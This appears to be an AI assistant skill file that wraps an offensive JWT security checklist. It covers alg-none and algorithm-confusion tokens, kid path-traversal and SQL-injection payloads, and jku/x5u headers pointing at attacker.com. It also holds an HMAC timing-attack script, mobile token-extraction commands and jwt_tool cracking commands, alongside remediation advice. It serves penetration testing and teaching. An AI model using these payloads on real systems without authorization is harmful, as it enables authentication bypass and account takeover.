Offensive JWT

SKILL: JSON Web Tokens (JWT) Security

Metadata

• Skill Name: jwt-attacks
• Folder: offensive-jwt
• Source: https://github.com/SnailSploit/offensive-checklist/blob/main/jwt.md

Description

JWT attack checklist: algorithm confusion (none/RS256→HS256), weak secret brute force, kid injection, jku/x5u header injection, JWT header injection, expired token acceptance. Use when testing JWT-based authentication or finding auth bypass via JWT manipulation.

Trigger Phrases

Use this skill when the conversation involves any of: JWT, JSON Web Token, algorithm confusion, alg none, RS256 HS256, weak secret, kid injection, jku injection, x5u, JWT header injection, JWT attack, token bypass

Instructions for Claude

When this skill is active:

1. Load and apply the full methodology below as your operational checklist
2. Follow steps in order unless the user specifies otherwise
3. For each technique, consider applicability to the current target/context
4. Track which checklist items have been completed
5. Suggest next steps based on findings

Full Methodology

JSON Web Tokens (JWT) Security

Shortcut

Mis-Configurations

• Adding, removing and modifying claims
  • when pen-testing JWT tokens, make sure user can't set the algorithm to none
  • or is able to switch between RSA and HMAC
• Changing the signature algorithm
• Removing the signature entirely
• Brute-forcing a weak signature key
  • or maybe leaking the secret using XXE or SSRF
• you can also use JWT Tool

Read Sensitive Information

JWT token should be used for integrity not confidentiality

Header Injection

Instructing the server which key to use when verifying the signature. Harden parsing and outbound fetches for:

• jwk (inline JWK) — rarely safe to accept from untrusted senders
• jku/x5u (remote keys) — pin domains, enforce TLS, short TTLs, and kid uniqueness
• kid (Key ID) — guard against injection (path traversal/SQLi), collisions, and cache poisoning

Same Origin Policy

SOP prevents the malicious script hosted on a.com from reading the HTML data returned from b.com This keeps the malicious script on A from obtaining sensitive information embedded in B.

Mechanisms

JSON Web Tokens (JWT) are an open standard (RFC 7519) for securely transmitting information between parties as a JSON object. JWTs consist of three parts:

• Header: Specifies the token type and signing algorithm
• Payload: Contains the claims (statements about an entity)
• Signature: Verifies the token hasn't been altered

Common signing algorithms:

• HS256/HS384/HS512: HMAC + SHA-256/384/512 (symmetric)
• RS256/RS384/RS512: RSA + SHA-256/384/512 (asymmetric)
• ES256/ES384/ES512: ECDSA + SHA-256/384/512 (asymmetric)
• PS256/PS384/PS512: RSASSA-PSS + SHA-256/384/512 (asymmetric)
• EdDSA (Ed25519/Ed448): Edwards‑curve Digital Signature Algorithm (asymmetric)
• none: Unsigned token (highly insecure)

Additional pitfalls:

• JWS/JWE confusion: accepting an encrypted token (JWE) where a signed token (JWS) is required, or failing open when encountering unexpected typ/cty.
• JWKS retrieval risks: SSRF via jku/x5u, insecure TLS validation, caching poisoned keys, kid collisions causing wrong key selection.
• Token binding: sender‑constrained schemes (DPoP, mTLS) incorrectly implemented allow replay from other clients.

sequenceDiagram
    participant User
    participant Client
    participant Server

    User->>Client: Login with credentials
    Client->>Server: Authentication request
    Server->>Server: Verify credentials
    Server->>Client: JWT token
    Note over Client: Store JWT (prefer http‑only secure cookies or secure storage in native apps)

    User->>Client: Request protected resource
    Client->>Server: Request with JWT in header
    Server->>Server: Validate JWT signature
    Server->>Server: Verify claims (exp, iss, etc.)
    Server->>Client: Protected resource

Hunt

Identify JWT Usage

• Check for Authorization: Bearer [token] headers
• Look for cookies containing JWT structures
• Examine local/session storage in browser
• Identify token endpoints or authentication flows

Inspect Token Structure

• Decode the token to examine claims (use jwt.io or BurpSuite JWT extension)
• Look for sensitive information in payload
• Check for unusual header parameters (kid, jku, jwk, x5u, etc.)
• Verify algorithm usage in header

Testing for Vulnerabilities

• Modify claims and observe application behavior
• Test algorithm switching attacks
• Check signature verification
• Look for token expiration/validation issues
• Test for header injection vulnerabilities
• Attempt brute force attacks on weak secrets
• Probe JWKS endpoints: add duplicate kid, rotate keys to see if old keys still verify; attempt caching or 304-not-modified abuse.
• Test x5u/jku DNS rebinding, and misconfigured HTTP client validation.
• Try JWS/JWE content-type confusions and unexpected crit header usage.

Vulnerabilities

graph TD
    JWT[JWT Vulnerabilities] --> Algbp[Algorithm Bypass]
    JWT --> WeakKey[Weak Secret Key]
    JWT --> KeyConf[Key Confusion]
    JWT --> KID[Kid Parameter Injection]
    JWT --> JKU[JKU/JWK Header Injection]
    JWT --> Missing[Missing Signature Validation]

    Algbp --> AlgNone["'alg': 'none' Attack"]
    WeakKey --> BruteForce[Brute Force Attack]
    KeyConf --> RSAtoHMAC[RSA to HMAC Confusion]
    KID --> SQLi[SQL Injection via kid]
    KID --> Path[Path Traversal via kid]
    JKU --> FakeJWK[Host Fake JWK]

    style JWT fill:#b7b,stroke:#333,color:#333
    style AlgNone fill:#f55,stroke:#333,color:#333
    style BruteForce fill:#f55,stroke:#333,color:#333
    style RSAtoHMAC fill:#f55,stroke:#333,color:#333
    style SQLi fill:#f55,stroke:#333,color:#333

Algorithm Vulnerabilities

• Algorithm None: Some libraries still allow disabling signature validation (alg:"none") when mis‑configured.
• Algorithm Confusion: Servers that mistakenly treat an RSA public key as an HMAC secret when alg is switched to HS*, enabling attacker‑signed tokens.
• Key ID Manipulation: Exploiting kid to load wrong keys or inject file/SQL paths; enforce strict lookups and validation

Signature Vulnerabilities

• Weak Secrets: Brute-forceable HMAC secrets
• Missing Signature Validation: Not verifying signature at all
• Broken Signature Validation: Implementation errors in signature checking

Implementation Issues

• Missing Claims Validation: Not validating essential claims (exp, nbf, aud)
• Insufficient Entropy: Predictable JWT IDs or tokens
• Lack of Expiration: Tokens without expiration or with very long lifetimes
• Insecure Token Transport: Transmitting tokens over non-HTTPS connections
• Debug Information Leakage: Detailed error messages revealing implementation details

Header Injection Attacks

• JWK Header Injection: Supplying a custom public key through the jwk header
• JKU Manipulation: Pointing the jku (JWK Set URL) to an attacker-controlled location
• KID Manipulation: Various attacks including SQL injection, path traversal, or command injection via the kid parameter
• x5u Misuse: Loading untrusted X.509 key URLs with lax TLS validation or redirects
• JWKS Cache Poisoning: Forcing caches to accept attacker keys via kid collisions or response header tricks

Information Disclosure

• Sensitive Data in Payload: PII, credentials, or session details stored unencrypted
• Claiming Processing Information: Information about backends or services in claims

Additional Attack Vectors

Mobile App JWT Storage

• Android:

  • SharedPreferences: Check if world-readable (MODE_WORLD_READABLE deprecated but still found)
  • Location: /data/data/<package>/shared_prefs/
  • Keystore extraction: Root device or exploit app, extract keys
  • Backup extraction: adb backup -f backup.ab <package> (if allowBackup=true)
  • Tools: Frida, objection, MobSF for analysis

• iOS:

  • Keychain: Check kSecAttrAccessible attribute
    • kSecAttrAccessibleAlways: Accessible even when locked (insecure)
    • kSecAttrAccessibleWhenUnlocked: Better but extractable from backup
  • iTunes/iCloud backup extraction: Unencrypted backups expose Keychain
  • Jailbreak + Keychain-Dumper: Extract all keychain items
  • Tools: Frida, objection, idb for runtime analysis

• React Native / Hybrid Apps:

  • AsyncStorage: Stored in plain text, easily readable
  • Location: Android SQLite DB, iOS plist files
  • No encryption by default

• Testing:

  # Android - check SharedPreferences
  adb shell "run-as com.target.app cat /data/data/com.target.app/shared_prefs/auth.xml"
  
  # iOS - extract from backup
  idevicebackup2 backup --full /path/to/backup
  # Use plist/sqlite tools to extract JWT
  

JWT Confusion Attacks

• SAML-JWT Confusion: Application accepts both SAML assertions and JWTs

  • Bypass SAML signature verification by sending JWT instead
  • Or vice versa - send SAML where JWT expected with weaker validation

• API Key-JWT Confusion: Endpoint accepts multiple auth methods

  # Try API key where JWT expected
  curl -H "Authorization: Bearer <api_key>" https://api.target/resource
  
  # Try JWT where API key expected
  curl -H "X-API-Key: <jwt_token>" https://api.target/resource
  

• Session Cookie-JWT Hybrid: App accepts either session cookie OR JWT

  • Test if session validation is weaker
  • Can you use an expired JWT with valid session cookie?
  • Or inject JWT claims into session cookie

• OAuth Token-JWT Confusion: OAuth access tokens vs ID tokens

  • Send ID token (JWT) to resource server expecting opaque access token
  • Resource server may not validate properly

Timing Attacks on HMAC

• Brute-force via Timing:

  • HMAC verification can leak secret character-by-character via timing
  • Non-constant-time comparison: if (signature == expected)
  • Attack: Measure response time for different signature attempts
  • Tools: Custom scripts with microsecond precision timing

• Exploit:

  import requests
  import time
  
  def time_request(signature):
      start = time.perf_counter()
      r = requests.get('https://target/api', headers={'Authorization': f'Bearer header.payload.{signature}'})
      return time.perf_counter() - start
  
  # Brute force first byte
  for byte in range(256):
      sig = bytes([byte]) + b'\x00' * 31
      t = time_request(sig.hex())
      # Character with longer response time is likely correct
  

JWT in URL Parameters

• Security Issues:
  • Tokens in GET URLs logged in server logs, proxy logs, browser history
  • Leaked via Referer header when navigating to external sites
  • Exposed in browser history (F12 Network tab)
  • CDN/cache logs may store tokens
• Testing:

  # Check if API accepts token in URL
  curl "https://api.target/resource?token=eyJ..."
  curl "https://api.target/resource?access_token=eyJ..."
  curl "https://api.target/resource?jwt=eyJ..."
  

• Exploitation: Search server logs, proxy logs for exposed tokens
  • Check Wayback Machine for historical URLs with tokens
  • Monitor Referer headers sent to third-party analytics

ETC

• PASETO – removes algorithm negotiation entirely and avoids confusion attacks.
• Macaroons – bearer tokens that include attenuable, caveat‑based delegation.
• DPoP and mTLS – bind tokens to the client to prevent replay; verify proofs on every request and enforce one‑time use semantics for nonces.

Methodologies

Tools

• JWT.io: For basic token inspection and debugging
• Burp Suite JWT Scanner: Automated testing of JWT implementations
• JWT_Tool: Comprehensive testing of JWT vulnerabilities (python3 jwt_tool.py)
• jwtXploiter: Advanced JWT vulnerability scanning
• JWTear: For tearing apart JWTs and testing vulnerabilities
• jwt_killer: Automated token testing with multiple attack vectors
• c-jwt-cracker: High-speed brute force for HMAC secrets (C implementation)
• Burp Suite: JWT Editor extension, Autorize for auth diffing, Auth Analyzer
• jose/jwx libraries (dev): enable strict modes to reproduce edge cases
• Mobile Tools: Frida, objection, MobSF (for extracting JWTs from mobile apps)

Manual Testing Steps

1. Decode and Inspect:

   base64url_decode(header).base64url_decode(payload).signature
   

2. Test "none" Algorithm:

   {"alg":"none","typ":"JWT"}.payload.""
   {"alg":"None","typ":"JWT"}.payload.""
   {"alg":"NONE","typ":"JWT"}.payload.""
   {"alg":"nOnE","typ":"JWT"}.payload.""
   

3. Algorithm Confusion:

# Attempt to switch RS256→HS256 and abuse server using RSA public key as HMAC secret (if misconfigured)
{"alg":"HS256","typ":"JWT","kid":"expected-key"}.payload.<re-signed-with-public-key-as-secret>

4. Kid Parameter Attacks:

   {"alg":"HS256","typ":"JWT","kid":"../../../../dev/null"}
   {"alg":"HS256","typ":"JWT","kid":"file:///dev/null"}
   {"alg":"HS256","typ":"JWT","kid":"' OR 1=1 --"}
   

5. JWK/JKU Injection:

   {"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","e":"AQAB","kid":"attacker-key","n":"..."}}
   {"alg":"RS256","typ":"JWT","jku":"https://attacker.com/jwks.json"}
   

6. x5u / crit Handling:

{"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/cert.pem"}
{"alg":"RS256","typ":"JWT","crit":["exp"],"exp":null}

6. Brute Force HMAC Secrets:

   python3 jwt_tool.py <token> -C -d wordlist.txt
   

7. Testing Missing Validation:

   • Remove or modify the expiration claim (exp)
   • Change issuer (iss) or audience (aud)
   • Modify token issuance time (iat) or not-before time (nbf)

Automated Testing with JWT_Tool

# Basic token testing
python3 jwt_tool.py <token>

# Scanning for vulnerabilities
python3 jwt_tool.py <token> -M all

# Testing specific vulnerabilities
python3 jwt_tool.py <token> -X a     # Algorithm confusion
python3 jwt_tool.py <token> -X n     # null signature
python3 jwt_tool.py <token> -X i     # Identity theft
python3 jwt_tool.py <token> -X k     # Key confusion

# Cracking secrets
python3 jwt_tool.py <token> -C -d wordlist.txt

Remediation Recommendations

• Use short‑lived access tokens and rotate refresh tokens frequently.
• Always validate aud (audience) and iss (issuer) claims.
• Enforce a maximum token length and disable JWE compression unless strictly required.
• Ensure the key material loaded for verification matches the alg; reject mismatches.
• Reject tokens that include unknown crit header parameters.
• Maintain a server‑side deny‑list keyed by jti for early revocation.
• For DPoP (typ:"dpop+jwt") tokens, verify the proof binds to the HTTP request and enforce one‑time use.
• Validate JWKS over pinned TLS; disallow remote jku/x5u except for trusted domains; cache keys with short TTL and verify kid uniqueness.
• Disable none and prevent algorithm downgrades; pin alg per client and per issuer.
• Bind sessions to device when possible; rotate refresh tokens on every use and revoke the previous (refresh token rotation).
• Prefer SameSite=Lax/Strict HttpOnly cookies for web to reduce token exfil; avoid localStorage for access tokens.